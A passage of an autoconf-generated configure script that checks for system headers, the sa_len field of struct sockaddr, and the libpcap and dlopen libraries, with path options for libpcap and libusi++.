"HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in glib.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in dlfcn.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done #AC_C_CONST #AC_CHECK_TYPE(uint8_t, unsigned char) #AC_CHECK_TYPE(uint16_t, unsigned short) #AC_CHECK_TYPE(uint32_t, unsigned long) echo "$as_me:$LINENO: checking if sa_len is in struct sockaddr" >&5 echo $ECHO_N "checking if sa_len is in struct sockaddr... $ECHO_C" >&6 if test "${ac_cv_sockaddr_sa_len+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include int main () { printf("%i\n", ((struct sockaddr *)NULL)->sa_len); ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_sockaddr_sa_len=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_sockaddr_sa_len=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_sockaddr_sa_len" >&5 echo "${ECHO_T}$ac_cv_sockaddr_sa_len" >&6 if test "$ac_cv_sockaddr_sa_len" = "yes"; then cat >>confdefs.h <<\_ACEOF #define HAVE_SOCKADDR_SA_LEN 1 _ACEOF fi # Check whether --with-libpcap_includes or --without-libpcap_includes was given. if test "${with_libpcap_includes+set}" = set; then withval="$with_libpcap_includes" with_libpcap_includes="$withval" else with_libpcap_includes=no fi; # Check whether --with-libpcap_libraries or --without-libpcap_libraries was given. if test "${with_libpcap_libraries+set}" = set; then withval="$with_libpcap_libraries" with_libpcap_libraries="$withval" else with_libpcap_libraries=no fi; if test "$with_libpcap_includes" != "no"; then CPPFLAGS="${CPPFLAGS} -I${with_libpcap_includes}" fi if test "$with_libpcap_libraries" != "no"; then LDFLAGS="${LDFLAGS} -L${with_libpcap_libraries}" fi LPCAP="" echo "$as_me:$LINENO: checking for pcap_datalink in -lpcap" >&5 echo $ECHO_N "checking for pcap_datalink in -lpcap... $ECHO_C" >&6 if test "${ac_cv_lib_pcap_pcap_datalink+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lpcap $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char pcap_datalink (); int main () { pcap_datalink (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_pcap_pcap_datalink=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_pcap_pcap_datalink=no fi rm -f conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_pcap_pcap_datalink" >&5 echo "${ECHO_T}$ac_cv_lib_pcap_pcap_datalink" >&6 if test $ac_cv_lib_pcap_pcap_datalink = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBPCAP 1 _ACEOF LIBS="-lpcap $LIBS" else LPCAP="no" fi if test "$LPCAP" = "no"; then echo echo " ERROR! Libpcap library/headers not found." echo " http://www.tcpdump.org/ is a good place to fetch one" echo " if libpcap library is installed, use the --with-libpcap-* options" echo " to specify pathes to include and library files locations." exit fi # Check whether --with-libusipp_includes or --without-libusipp_includes was given. if test "${with_libusipp_includes+set}" = set; then withval="$with_libusipp_includes" with_libusipp_includes="$withval" else with_libusipp_includes=no fi; # Check whether --with-libusipp_libraries or --without-libusipp_libraries was given. if test "${with_libusipp_libraries+set}" = set; then withval="$with_libusipp_libraries" with_libusipp_libraries="$withval" else with_libusipp_libraries=no fi; if test "$with_libusipp_includes" != "no"; then CPPFLAGS="${CPPFLAGS} -I${with_libusipp_includes}" fi if test "$with_libusipp_libraries" != "no"; then LDFLAGS="${LDFLAGS} -L${with_libusipp_libraries}" fi #AC_CACHE_CHECK(if libusi++ works, ac_cv_have_libusipp, #AC_TRY_COMPILE([ # ##include ##include ##include ##include # #],[ # TCP *tmp = new TCP("foo"); # # TCP tcp(*tmp); # #], ac_cv_have_libusipp=yes, # ac_cv_have_libusipp=no # )) # # #if test "$ac_cv_have_libusipp" = "no"; then # echo # echo " ERROR! Libusi++ library/headers not found." # echo " http://www.cs.uni-potsdam.de/homepages/students/linuxer/" # echo " is a good place to fetch one. (a copy avail. at our page too)." # echo " if libusipp library is installed, use the --with-libusipp-* options" # echo " to specify pathes to include and library files locations." # exit #fi #LIBS="-lusi++ $LIBS" for ac_header in dlfcn.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF HAVE_DLFCN_H=1 else DL_FAIL=1 fi done if test "$HAVE_DLCFCN_H" = 1; then if test "$HAVE_LIBDL" = 1; then echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6 if test "${ac_cv_lib_dl_dlopen+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-ldl $LIBS" cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char dlopen (); int main () { dlopen (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo 